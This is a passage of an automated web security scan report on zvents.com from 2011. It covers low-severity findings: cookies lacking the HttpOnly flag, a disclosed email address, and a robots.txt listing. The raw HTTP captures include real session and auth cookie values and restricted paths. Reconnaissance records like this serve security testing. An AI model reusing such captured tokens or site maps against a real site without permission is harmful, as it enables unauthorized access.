_uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 301 Moved Permanently
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:58 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 173.193.214.243
Location: http://www.zvents.com/z/dallas-tx
X-Runtime: 16
Cache-Control: no-cache, private
Set-Cookie: flavor=new; path=/; expires=Sat, 04-Jun-2016 15:31:58 GMT
Set-Cookie: came_from_classic=1307201518; path=/; expires=Sat, 04-Jun-2016 15:31:58 GMT
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; path=/; expires=Sun, 04-Sep-2011 15:31:58 GMT; HttpOnly
Content-Length: 99

<html><body>You are being <a href="http://www.zvents.com/z/dallas-tx">redirected</a>.</body></html>

7.2. http://www.zvents.com/z/dallas-tx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/dallas-tx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /z/dallas-tx HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; flavor=new; came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23
If-None-Match: "81ceb91c594201cc47a326eb4c0d3c9d"

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:32:00 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "c93055977ac2827cf335b6198d0b46b8"
Cache-Control: max-age=0, private, must-revalidate
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:31:59 GMT
Set-Cookie: user_location=dallas-tx; path=/
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 0.322602
Content-Length: 82081

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...

7.3. http://www.zvents.com/zat  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /zat

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /zat?r=&url=http%3A%2F%2Fwww.zvents.com%2Fz%2Fdallas-tx&sid=13072009388160.9879527040757239&uid=13072009388160.47913454147055745&flavor=zvents_uexweb&ploc=Dallas%2C%20TX&uloc=Dallas%2C%20TX&pt=homepage&pid=0&src=zmp&type=click&cm=slideshow&from=e%3A176249825&to=e%3A176249825&sp=0&oids=&__t=1307201525337 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; flavor=new; user_location=dallas-tx; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.12.9.1307201525336

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:32:06 GMT
Content-Type: image/gif
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: welcome=17emJAVAmFkjNzuktxOEvA.110989409;Path=/;Domain=zvents.com;Expires=Mon, 27-May-41 15:32:06 GMT
Content-Length: 42

GIF89a.............!.......,...........D.;

8. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/javascripts/s_code.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /z/javascripts/s_code.js?1302642191 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:45 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 12 Apr 2011 21:03:11 GMT
Connection: keep-alive
Expires: Sun, 05 Jun 2011 15:31:45 GMT
Cache-Control: max-age=86400
Content-Length: 39353

/* SiteCatalyst code version: H.20.3.
Copyright 1997-2009 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
P
...[SNIP]...
7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"
+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"
+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=
...[SNIP]...

9. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/stylesheets/layout.css

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.zvents.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:45 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-Runtime: 4
ETag: "43a325d9ba9f2deac2638cedc6222807"
Cache-Control: must-revalidate, private, max-age=0
Content-Length: 546
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; path=/; expires=Sun, 04-Sep-2011 15:31:45 GMT; HttpOnly

User-agent: *
Disallow: /javascripts
Disallow: /rss
Disallow: /rss*
Disallow: /ical
Disallow: /ical*
Disallow: /json
Disallow: /json*
Disallow: /partners
Disallow: /partners*
Disallow: /user/
Disallow
...[SNIP]...

Report generated by XSS.CX at Sun Jun 05 06:30:13 CDT 2011.